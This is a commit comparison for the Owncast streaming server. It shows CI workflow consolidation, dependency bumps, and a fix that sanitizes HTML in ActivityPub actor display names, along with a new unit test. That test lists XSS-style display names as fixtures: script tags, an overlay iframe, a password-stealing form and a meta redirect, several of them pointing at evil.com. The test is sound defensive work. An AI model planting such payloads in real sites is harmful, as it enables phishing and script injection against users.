Compare commits
81
Commits
73206ddf27
...
develop
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f1da0fc30c | ||
|
|
1160fc3e9f | ||
|
|
5c5f678523 | ||
|
|
92da6edd93 | ||
|
|
cb73028e51 | ||
|
|
c207815b8e | ||
|
|
875b41dd99 | ||
|
|
1a578bab2a | ||
|
|
415657298f | ||
|
|
8c5dc5f3b2 | ||
|
|
05a3e8696d | ||
|
|
09b4179b73 | ||
|
|
92689ffd6b | ||
|
|
432079d660 | ||
|
|
0cbf8fad1b | ||
|
|
bf4636b148 | ||
|
|
43630aaccf | ||
|
|
93379cbc08 | ||
|
|
153f9a488f | ||
|
|
8c9cf367ea | ||
|
|
a42f0ff5a5 | ||
|
|
d9d26035aa | ||
|
|
3209695726 | ||
|
|
97f91f1c87 | ||
|
|
6ee9c6cd99 | ||
|
|
20e6d5cb5e | ||
|
|
e699bef636 | ||
|
|
854674b5fb | ||
|
|
873d7e0a5f | ||
|
|
519d239a87 | ||
|
|
c13eaf25dd | ||
|
|
324bf75f69 | ||
|
|
2c64efe505 | ||
|
|
722226e054 | ||
|
|
d10fc7f5d4 | ||
|
|
601553c582 | ||
|
|
8b5fe84e62 | ||
|
|
33efafecd5 | ||
|
|
8ccec822b4 | ||
|
|
e738156fd7 | ||
|
|
a2981903c2 | ||
|
|
5d4fcf9686 | ||
|
|
50854f09b3 | ||
|
|
54104a5c3c | ||
|
|
715c267079 | ||
|
|
c48cc989f4 | ||
|
|
44970293f8 | ||
|
|
423ddb8e22 | ||
|
|
c593ed381d | ||
|
|
b6a39721dd | ||
|
|
159e24438d | ||
|
|
2c3e8fa3c1 | ||
|
|
ba8ce8bf66 | ||
|
|
84341875b7 | ||
|
|
d52911160d | ||
|
|
4ef036b0f4 | ||
|
|
eb3184bcfa | ||
|
|
5c9b2333f9 | ||
|
|
77c7c08587 | ||
|
|
d9a424ea79 | ||
|
|
826c7e8a9e | ||
|
|
3e6f6de032 | ||
|
|
3909c506a2 | ||
|
|
e9556d44da | ||
|
|
c85529370b | ||
|
|
285a722fac | ||
|
|
234c696af9 | ||
|
|
177840b94a | ||
|
|
35e684bd10 | ||
|
|
9b4adab8fc | ||
|
|
d74d1b55f0 | ||
|
|
4d52d7d1fa | ||
|
|
02559acc39 | ||
|
|
892fd3d89e | ||
|
|
0bb372d8cb | ||
|
|
ddc8e9bed0 | ||
|
|
5b2a3e3127 | ||
|
|
a476142f23 | ||
|
|
ad090a0f86 | ||
|
|
5365cc0325 | ||
|
|
37404aac5c |
@@ -1,57 +0,0 @@
|
|||||||
name: ActivityPub Federation Tests
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
paths:
|
|
||||||
- "activitypub/**"
|
|
||||||
- "webserver/**"
|
|
||||||
- "test/automated/activitypub/**"
|
|
||||||
- ".github/workflows/activitypub-federation-tests.yaml"
|
|
||||||
pull_request:
|
|
||||||
paths:
|
|
||||||
- "activitypub/**"
|
|
||||||
- "webserver/**"
|
|
||||||
- "test/automated/activitypub/**"
|
|
||||||
- ".github/workflows/activitypub-federation-tests.yaml"
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
federation-test:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- id: skip_check
|
|
||||||
uses: fkirc/skip-duplicate-actions@v5
|
|
||||||
with:
|
|
||||||
concurrent_skipping: "same_content_newer"
|
|
||||||
|
|
||||||
- name: Check out repository code
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Set up Go
|
|
||||||
uses: actions/setup-go@v6
|
|
||||||
with:
|
|
||||||
go-version: "^1.23"
|
|
||||||
cache: true
|
|
||||||
|
|
||||||
- name: Install Caddy
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install -y debian-keyring debian-archive-keyring apt-transport-https curl
|
|
||||||
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
|
|
||||||
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install -y caddy
|
|
||||||
|
|
||||||
- name: Install dependencies
|
|
||||||
run: |
|
|
||||||
sudo apt-get install -y snac2 ffmpeg
|
|
||||||
|
|
||||||
- name: Run setup
|
|
||||||
run: |
|
|
||||||
cd test/automated/activitypub
|
|
||||||
sudo ./setup.sh
|
|
||||||
|
|
||||||
- name: Run federation test
|
|
||||||
run: |
|
|
||||||
cd test/automated/activitypub
|
|
||||||
CI=true USER_COUNT=20 ./run.sh
|
|
||||||
@@ -1,47 +0,0 @@
|
|||||||
name: ActivityPub Follower Validation Tests
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
paths:
|
|
||||||
- "activitypub/**"
|
|
||||||
- "config/**"
|
|
||||||
- "main.go"
|
|
||||||
- "test/automated/activitypub/**"
|
|
||||||
- ".github/workflows/activitypub-follower-validation-tests.yaml"
|
|
||||||
pull_request:
|
|
||||||
paths:
|
|
||||||
- "activitypub/**"
|
|
||||||
- "config/**"
|
|
||||||
- "main.go"
|
|
||||||
- "test/automated/activitypub/**"
|
|
||||||
- ".github/workflows/activitypub-follower-validation-tests.yaml"
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
follower-validation-test:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- id: skip_check
|
|
||||||
uses: fkirc/skip-duplicate-actions@v5
|
|
||||||
with:
|
|
||||||
concurrent_skipping: "same_content_newer"
|
|
||||||
|
|
||||||
- name: Check out repository code
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Set up Go
|
|
||||||
uses: actions/setup-go@v6
|
|
||||||
with:
|
|
||||||
go-version: "^1.23"
|
|
||||||
cache: true
|
|
||||||
|
|
||||||
- name: Install dependencies
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install -y sqlite3 ffmpeg jq
|
|
||||||
|
|
||||||
- name: Run follower validation test
|
|
||||||
timeout-minutes: 15
|
|
||||||
run: |
|
|
||||||
cd test/automated/activitypub
|
|
||||||
./test-follower-validation.sh
|
|
||||||
@@ -0,0 +1,130 @@
|
|||||||
|
name: ActivityPub Tests
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
paths:
|
||||||
|
- "activitypub/**"
|
||||||
|
- "core/chat/**"
|
||||||
|
- "config/**"
|
||||||
|
- "main.go"
|
||||||
|
- "webserver/**"
|
||||||
|
- "test/automated/activitypub/**"
|
||||||
|
- ".github/workflows/activitypub-tests.yaml"
|
||||||
|
pull_request:
|
||||||
|
paths:
|
||||||
|
- "activitypub/**"
|
||||||
|
- "core/chat/**"
|
||||||
|
- "config/**"
|
||||||
|
- "main.go"
|
||||||
|
- "webserver/**"
|
||||||
|
- "test/automated/activitypub/**"
|
||||||
|
- ".github/workflows/activitypub-tests.yaml"
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
federation-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- id: skip_check
|
||||||
|
uses: fkirc/skip-duplicate-actions@v5
|
||||||
|
with:
|
||||||
|
concurrent_skipping: "same_content_newer"
|
||||||
|
|
||||||
|
- name: Check out repository code
|
||||||
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
|
- name: Set up Go
|
||||||
|
uses: actions/setup-go@v6
|
||||||
|
with:
|
||||||
|
go-version: "^1.23"
|
||||||
|
cache: true
|
||||||
|
|
||||||
|
- name: Install Caddy
|
||||||
|
run: |
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install -y debian-keyring debian-archive-keyring apt-transport-https curl
|
||||||
|
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
|
||||||
|
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install -y caddy
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: |
|
||||||
|
sudo apt-get install -y snac2 ffmpeg
|
||||||
|
|
||||||
|
- name: Run setup
|
||||||
|
run: |
|
||||||
|
cd test/automated/activitypub
|
||||||
|
sudo ./setup.sh
|
||||||
|
|
||||||
|
- name: Run federation test
|
||||||
|
run: |
|
||||||
|
cd test/automated/activitypub
|
||||||
|
CI=true USER_COUNT=20 ./test-federation.sh
|
||||||
|
|
||||||
|
chat-sanitization-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- id: skip_check
|
||||||
|
uses: fkirc/skip-duplicate-actions@v5
|
||||||
|
with:
|
||||||
|
concurrent_skipping: "same_content_newer"
|
||||||
|
|
||||||
|
- name: Check out repository code
|
||||||
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
|
- name: Set up Go
|
||||||
|
uses: actions/setup-go@v6
|
||||||
|
with:
|
||||||
|
go-version: "^1.23"
|
||||||
|
cache: true
|
||||||
|
|
||||||
|
- name: Install Caddy
|
||||||
|
run: |
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install -y debian-keyring debian-archive-keyring apt-transport-https curl
|
||||||
|
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
|
||||||
|
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install -y caddy
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: |
|
||||||
|
sudo apt-get install -y snac2 ffmpeg
|
||||||
|
|
||||||
|
- name: Run setup
|
||||||
|
run: |
|
||||||
|
cd test/automated/activitypub
|
||||||
|
sudo ./setup.sh
|
||||||
|
|
||||||
|
- name: Run chat sanitization test
|
||||||
|
run: |
|
||||||
|
cd test/automated/activitypub
|
||||||
|
CI=true ./test-chat-sanitization.sh
|
||||||
|
|
||||||
|
follower-validation-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- id: skip_check
|
||||||
|
uses: fkirc/skip-duplicate-actions@v5
|
||||||
|
with:
|
||||||
|
concurrent_skipping: "same_content_newer"
|
||||||
|
|
||||||
|
- name: Check out repository code
|
||||||
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
|
- name: Set up Go
|
||||||
|
uses: actions/setup-go@v6
|
||||||
|
with:
|
||||||
|
go-version: "^1.23"
|
||||||
|
cache: true
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: |
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install -y sqlite3 ffmpeg jq
|
||||||
|
|
||||||
|
- name: Run follower validation test
|
||||||
|
timeout-minutes: 15
|
||||||
|
run: |
|
||||||
|
cd test/automated/activitypub
|
||||||
|
./test-follower-validation.sh
|
||||||
@@ -11,7 +11,7 @@ jobs:
|
|||||||
issues: write
|
issues: write
|
||||||
steps:
|
steps:
|
||||||
- name: Add comment
|
- name: Add comment
|
||||||
uses: peter-evans/create-or-update-comment@9143c495e69aa6ad64fa02b7515ccab6bd35aad1
|
uses: peter-evans/create-or-update-comment@57232238742e38b2ccc27136ce596ccae7ca28b4
|
||||||
with:
|
with:
|
||||||
issue-number: ${{ github.event.issue.number }}
|
issue-number: ${{ github.event.issue.number }}
|
||||||
body: |
|
body: |
|
||||||
|
|||||||
@@ -85,7 +85,7 @@ jobs:
|
|||||||
- uses: actions/setup-go@v6
|
- uses: actions/setup-go@v6
|
||||||
if: steps.changed-files-yaml.outputs.testable_any_changed == 'true'
|
if: steps.changed-files-yaml.outputs.testable_any_changed == 'true'
|
||||||
with:
|
with:
|
||||||
go-version: '1.26.1'
|
go-version: '1.26.2'
|
||||||
cache: true
|
cache: true
|
||||||
|
|
||||||
- name: Install Google Chrome
|
- name: Install Google Chrome
|
||||||
|
|||||||
@@ -86,7 +86,7 @@ jobs:
|
|||||||
|
|
||||||
- name: Publish to Chromatic
|
- name: Publish to Chromatic
|
||||||
if: ${{ github.actor != 'renovate[bot]' && github.actor != 'renovate' && steps.changed-files-yaml.outputs.src_any_changed == 'true' }}
|
if: ${{ github.actor != 'renovate[bot]' && github.actor != 'renovate' && steps.changed-files-yaml.outputs.src_any_changed == 'true' }}
|
||||||
uses: chromaui/action@v15
|
uses: chromaui/action@v16
|
||||||
with:
|
with:
|
||||||
workingDir: web
|
workingDir: web
|
||||||
projectToken: f47410569b62
|
projectToken: f47410569b62
|
||||||
|
|||||||
@@ -59,7 +59,7 @@ jobs:
|
|||||||
|
|
||||||
- uses: actions/setup-go@v6
|
- uses: actions/setup-go@v6
|
||||||
with:
|
with:
|
||||||
go-version: '1.26.1'
|
go-version: '1.26.2'
|
||||||
cache: true
|
cache: true
|
||||||
|
|
||||||
# Initializes the CodeQL tools for scanning.
|
# Initializes the CodeQL tools for scanning.
|
||||||
|
|||||||
@@ -44,7 +44,7 @@ jobs:
|
|||||||
|
|
||||||
- uses: actions/setup-go@v6
|
- uses: actions/setup-go@v6
|
||||||
with:
|
with:
|
||||||
go-version: '1.26.1'
|
go-version: '1.26.2'
|
||||||
cache: true
|
cache: true
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v6
|
||||||
- name: golangci-lint
|
- name: golangci-lint
|
||||||
|
|||||||
@@ -70,7 +70,7 @@ jobs:
|
|||||||
- uses: actions/setup-go@v6
|
- uses: actions/setup-go@v6
|
||||||
if: steps.changed-files-yaml.outputs.src_any_changed == 'true'
|
if: steps.changed-files-yaml.outputs.src_any_changed == 'true'
|
||||||
with:
|
with:
|
||||||
go-version: '1.26.1'
|
go-version: '1.26.2'
|
||||||
cache: true
|
cache: true
|
||||||
|
|
||||||
- name: Cache node modules
|
- name: Cache node modules
|
||||||
|
|||||||
@@ -38,6 +38,7 @@ on:
|
|||||||
jobs:
|
jobs:
|
||||||
formatting:
|
formatting:
|
||||||
name: Code formatting
|
name: Code formatting
|
||||||
|
if: github.actor != 'renovate[bot]' && github.actor != 'dependabot[bot]'
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
defaults:
|
defaults:
|
||||||
run:
|
run:
|
||||||
@@ -133,6 +134,7 @@ jobs:
|
|||||||
|
|
||||||
unused-code:
|
unused-code:
|
||||||
name: Test for unused code
|
name: Test for unused code
|
||||||
|
if: github.actor != 'renovate[bot]' && github.actor != 'dependabot[bot]'
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
defaults:
|
defaults:
|
||||||
run:
|
run:
|
||||||
@@ -197,7 +199,7 @@ jobs:
|
|||||||
web-bundle:
|
web-bundle:
|
||||||
name: Build and bundle web project
|
name: Build and bundle web project
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
if: github.repository == 'owncast/owncast'
|
if: github.repository == 'owncast/owncast' && !cancelled()
|
||||||
needs: [formatting, unused-code]
|
needs: [formatting, unused-code]
|
||||||
steps:
|
steps:
|
||||||
- id: skip_check
|
- id: skip_check
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ on:
|
|||||||
|
|
||||||
permissions:
|
permissions:
|
||||||
contents: read
|
contents: read
|
||||||
|
pull-requests: write
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
validate-checklist:
|
validate-checklist:
|
||||||
@@ -44,6 +45,7 @@ jobs:
|
|||||||
}
|
}
|
||||||
|
|
||||||
- name: Validate required checkboxes
|
- name: Validate required checkboxes
|
||||||
|
id: validate
|
||||||
if: ${{ steps.membership.outputs.result == 'false' }}
|
if: ${{ steps.membership.outputs.result == 'false' }}
|
||||||
uses: actions/github-script@v8
|
uses: actions/github-script@v8
|
||||||
with:
|
with:
|
||||||
@@ -55,6 +57,7 @@ jobs:
|
|||||||
const match = prBody.match(markerPattern);
|
const match = prBody.match(markerPattern);
|
||||||
|
|
||||||
if (!match) {
|
if (!match) {
|
||||||
|
core.setOutput('missing_checklist', 'true');
|
||||||
core.setFailed(
|
core.setFailed(
|
||||||
'## PR Checklist Validation Failed\n\n' +
|
'## PR Checklist Validation Failed\n\n' +
|
||||||
'The required checklist section is missing from your PR description.\n\n' +
|
'The required checklist section is missing from your PR description.\n\n' +
|
||||||
@@ -86,3 +89,24 @@ jobs:
|
|||||||
} else {
|
} else {
|
||||||
console.log('All required checklist items are checked');
|
console.log('All required checklist items are checked');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
- name: Comment on PR about missing checklist
|
||||||
|
if: ${{ always() && steps.validate.outputs.missing_checklist == 'true' }}
|
||||||
|
uses: actions/github-script@v8
|
||||||
|
with:
|
||||||
|
script: |
|
||||||
|
const body =
|
||||||
|
'## PR Checklist Missing\n\n' +
|
||||||
|
'It looks like the **required checklist section** was removed from your PR description. ' +
|
||||||
|
'This section is needed for the PR checks to pass.\n\n' +
|
||||||
|
'Please edit your PR description and restore the checklist from ' +
|
||||||
|
'[the PR template](https://raw.githubusercontent.com/owncast/owncast/refs/heads/develop/.github/PULL_REQUEST_TEMPLATE.MD). ' +
|
||||||
|
'Once restored, check off each item to confirm you have completed them.\n\n' +
|
||||||
|
'The checklist section begins with `<!-- REQUIRED-CHECKLIST:START -->` and ends with `<!-- REQUIRED-CHECKLIST:END -->`.';
|
||||||
|
|
||||||
|
await github.rest.issues.createComment({
|
||||||
|
owner: context.repo.owner,
|
||||||
|
repo: context.repo.repo,
|
||||||
|
issue_number: context.payload.pull_request.number,
|
||||||
|
body: body
|
||||||
|
});
|
||||||
|
|||||||
@@ -16,6 +16,8 @@ on:
|
|||||||
# Run the workflow every hour
|
# Run the workflow every hour
|
||||||
- cron: '0 * * * *'
|
- cron: '0 * * * *'
|
||||||
push:
|
push:
|
||||||
|
branches:
|
||||||
|
- develop
|
||||||
paths:
|
paths:
|
||||||
- 'web/i18n/en/translation.json'
|
- 'web/i18n/en/translation.json'
|
||||||
- 'web/**/*.tsx'
|
- 'web/**/*.tsx'
|
||||||
|
|||||||
@@ -4,12 +4,24 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
|
|
||||||
"github.com/go-fed/activity/streams/vocab"
|
"github.com/go-fed/activity/streams/vocab"
|
||||||
|
"github.com/microcosm-cc/bluemonday"
|
||||||
"github.com/owncast/owncast/activitypub/resolvers"
|
"github.com/owncast/owncast/activitypub/resolvers"
|
||||||
"github.com/owncast/owncast/core/chat"
|
"github.com/owncast/owncast/core/chat"
|
||||||
"github.com/owncast/owncast/core/chat/events"
|
"github.com/owncast/owncast/core/chat/events"
|
||||||
"github.com/owncast/owncast/persistence/configrepository"
|
"github.com/owncast/owncast/persistence/configrepository"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// sanitizeActorName strips HTML tags from the ActivityPub actor display name.
|
||||||
|
// Falls back to the username if the display name is empty or entirely HTML.
|
||||||
|
func sanitizeActorName(displayName, username string) string {
|
||||||
|
strict := bluemonday.StrictPolicy()
|
||||||
|
name := strict.Sanitize(displayName)
|
||||||
|
if name == "" {
|
||||||
|
name = strict.Sanitize(username)
|
||||||
|
}
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
|
||||||
func handleEngagementActivity(eventType events.EventType, isLiveNotification bool, actorReference vocab.ActivityStreamsActorProperty, action string) error {
|
func handleEngagementActivity(eventType events.EventType, isLiveNotification bool, actorReference vocab.ActivityStreamsActorProperty, action string) error {
|
||||||
configRepository := configrepository.Get()
|
configRepository := configrepository.Get()
|
||||||
|
|
||||||
@@ -30,10 +42,7 @@ func handleEngagementActivity(eventType events.EventType, isLiveNotification boo
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Send chat message
|
// Send chat message
|
||||||
actorName := actor.Name
|
actorName := sanitizeActorName(actor.Name, actor.Username)
|
||||||
if actorName == "" {
|
|
||||||
actorName = actor.Username
|
|
||||||
}
|
|
||||||
actorIRI := actor.ActorIriString()
|
actorIRI := actor.ActorIriString()
|
||||||
|
|
||||||
userPrefix := fmt.Sprintf("%s ", actorName)
|
userPrefix := fmt.Sprintf("%s ", actorName)
|
||||||
|
|||||||
@@ -0,0 +1,120 @@
|
|||||||
|
package inbox
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestSanitizeActorName(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
displayName string
|
||||||
|
username string
|
||||||
|
expected string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "plain display name",
|
||||||
|
displayName: "Alice",
|
||||||
|
username: "alice",
|
||||||
|
expected: "Alice",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "display name with emoji",
|
||||||
|
displayName: "Alice 🦊",
|
||||||
|
username: "alice",
|
||||||
|
expected: "Alice 🦊",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "display name with unicode",
|
||||||
|
displayName: "Ålice Böb",
|
||||||
|
username: "alice",
|
||||||
|
expected: "Ålice Böb",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "empty display name falls back to username",
|
||||||
|
displayName: "",
|
||||||
|
username: "alice",
|
||||||
|
expected: "alice",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "script tag in display name",
|
||||||
|
displayName: `<script>alert("xss")</script>`,
|
||||||
|
username: "alice",
|
||||||
|
expected: "alice",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "iframe injection in display name",
|
||||||
|
displayName: `<iframe src="https://evil.com" style="position:fixed;top:0;left:0;width:100%;height:100%"></iframe>`,
|
||||||
|
username: "alice",
|
||||||
|
expected: "alice",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "img tag in display name",
|
||||||
|
displayName: `<img src="https://evil.com/track.png">`,
|
||||||
|
username: "alice",
|
||||||
|
expected: "alice",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "form injection in display name",
|
||||||
|
displayName: `<form action="https://evil.com/steal"><input name="pw" type="password"></form>`,
|
||||||
|
username: "alice",
|
||||||
|
expected: "alice",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "meta refresh in display name",
|
||||||
|
displayName: `<meta http-equiv="refresh" content="0;url=https://evil.com">`,
|
||||||
|
username: "alice",
|
||||||
|
expected: "alice",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "mixed text and HTML in display name",
|
||||||
|
displayName: `Alice <script>alert(1)</script> Bob`,
|
||||||
|
username: "alice",
|
||||||
|
expected: "Alice Bob",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "custom emoji HTML in display name",
|
||||||
|
displayName: `Alice :blobcat: <img src="https://instance.com/emoji/blobcat.png" class="custom-emoji">`,
|
||||||
|
username: "alice",
|
||||||
|
expected: "Alice :blobcat: ",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "HTML in both display name and username",
|
||||||
|
displayName: `<script>alert(1)</script>`,
|
||||||
|
username: `<b>alice</b>`,
|
||||||
|
expected: "alice",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "entirely HTML display name falls back to username",
|
||||||
|
displayName: `<div></div>`,
|
||||||
|
username: "alice",
|
||||||
|
expected: "alice",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "style tag in display name",
|
||||||
|
displayName: `<style>body{display:none}</style>Alice`,
|
||||||
|
username: "alice",
|
||||||
|
expected: "Alice",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "nested HTML tags",
|
||||||
|
displayName: `<div><span><a href="https://evil.com">Click me</a></span></div>`,
|
||||||
|
username: "alice",
|
||||||
|
expected: "Click me",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "event handler attributes",
|
||||||
|
displayName: `<img src=x onerror="alert(1)">Alice`,
|
||||||
|
username: "alice",
|
||||||
|
expected: "Alice",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
result := sanitizeActorName(tt.displayName, tt.username)
|
||||||
|
if result != tt.expected {
|
||||||
|
t.Errorf("sanitizeActorName(%q, %q) = %q, want %q", tt.displayName, tt.username, result, tt.expected)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -126,7 +126,6 @@ func SendFediverseAction(eventType string, userAccountName string, image *string
|
|||||||
}
|
}
|
||||||
|
|
||||||
message.SetDefaults()
|
message.SetDefaults()
|
||||||
message.RenderBody()
|
|
||||||
|
|
||||||
if err := Broadcast(&message); err != nil {
|
if err := Broadcast(&message); err != nil {
|
||||||
log.Errorln("error sending system message", err)
|
log.Errorln("error sending system message", err)
|
||||||
|
|||||||
@@ -16,12 +16,12 @@ require (
|
|||||||
github.com/hashicorp/go-retryablehttp v0.7.8
|
github.com/hashicorp/go-retryablehttp v0.7.8
|
||||||
github.com/jellydator/ttlcache/v3 v3.4.0
|
github.com/jellydator/ttlcache/v3 v3.4.0
|
||||||
github.com/lestrrat-go/file-rotatelogs v2.4.0+incompatible
|
github.com/lestrrat-go/file-rotatelogs v2.4.0+incompatible
|
||||||
github.com/mattn/go-sqlite3 v1.14.37
|
github.com/mattn/go-sqlite3 v1.14.42
|
||||||
github.com/microcosm-cc/bluemonday v1.0.27
|
github.com/microcosm-cc/bluemonday v1.0.27
|
||||||
github.com/mssola/user_agent v0.6.0
|
github.com/mssola/user_agent v0.6.0
|
||||||
github.com/nakabonne/tstorage v0.3.6
|
github.com/nakabonne/tstorage v0.3.6
|
||||||
github.com/nareix/joy5 v0.0.0-20210317075623-2c912ca30590
|
github.com/nareix/joy5 v0.0.0-20210317075623-2c912ca30590
|
||||||
github.com/oapi-codegen/runtime v1.3.0
|
github.com/oapi-codegen/runtime v1.4.0
|
||||||
github.com/oschwald/geoip2-golang v1.13.0
|
github.com/oschwald/geoip2-golang v1.13.0
|
||||||
github.com/pkg/errors v0.9.1
|
github.com/pkg/errors v0.9.1
|
||||||
github.com/prometheus/client_golang v1.23.2
|
github.com/prometheus/client_golang v1.23.2
|
||||||
@@ -33,9 +33,9 @@ require (
|
|||||||
github.com/teris-io/shortid v0.0.0-20220617161101-71ec9f2aa569
|
github.com/teris-io/shortid v0.0.0-20220617161101-71ec9f2aa569
|
||||||
github.com/yuin/goldmark v1.7.13
|
github.com/yuin/goldmark v1.7.13
|
||||||
github.com/yuin/goldmark-emoji v1.0.6
|
github.com/yuin/goldmark-emoji v1.0.6
|
||||||
golang.org/x/crypto v0.49.0
|
golang.org/x/crypto v0.50.0
|
||||||
golang.org/x/mod v0.33.0
|
golang.org/x/mod v0.34.0
|
||||||
golang.org/x/net v0.51.0
|
golang.org/x/net v0.52.0
|
||||||
golang.org/x/time v0.15.0
|
golang.org/x/time v0.15.0
|
||||||
gopkg.in/evanphx/json-patch.v5 v5.9.11
|
gopkg.in/evanphx/json-patch.v5 v5.9.11
|
||||||
mvdan.cc/xurls/v2 v2.6.0
|
mvdan.cc/xurls/v2 v2.6.0
|
||||||
@@ -71,8 +71,8 @@ require (
|
|||||||
github.com/yusufpapurcu/wmi v1.2.4 // indirect
|
github.com/yusufpapurcu/wmi v1.2.4 // indirect
|
||||||
go.yaml.in/yaml/v2 v2.4.2 // indirect
|
go.yaml.in/yaml/v2 v2.4.2 // indirect
|
||||||
golang.org/x/sync v0.20.0 // indirect
|
golang.org/x/sync v0.20.0 // indirect
|
||||||
golang.org/x/sys v0.42.0 // indirect
|
golang.org/x/sys v0.43.0 // indirect
|
||||||
golang.org/x/text v0.35.0 // indirect
|
golang.org/x/text v0.36.0 // indirect
|
||||||
google.golang.org/protobuf v1.36.8 // indirect
|
google.golang.org/protobuf v1.36.8 // indirect
|
||||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -94,6 +94,16 @@ github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D
|
|||||||
github.com/mattn/go-sqlite3 v1.14.7/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
|
github.com/mattn/go-sqlite3 v1.14.7/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
|
||||||
github.com/mattn/go-sqlite3 v1.14.37 h1:3DOZp4cXis1cUIpCfXLtmlGolNLp2VEqhiB/PARNBIg=
|
github.com/mattn/go-sqlite3 v1.14.37 h1:3DOZp4cXis1cUIpCfXLtmlGolNLp2VEqhiB/PARNBIg=
|
||||||
github.com/mattn/go-sqlite3 v1.14.37/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
github.com/mattn/go-sqlite3 v1.14.37/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.38 h1:tDUzL85kMvOrvpCt8P64SbGgVFtJB11GPi2AdmITgb4=
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.38/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||||
|
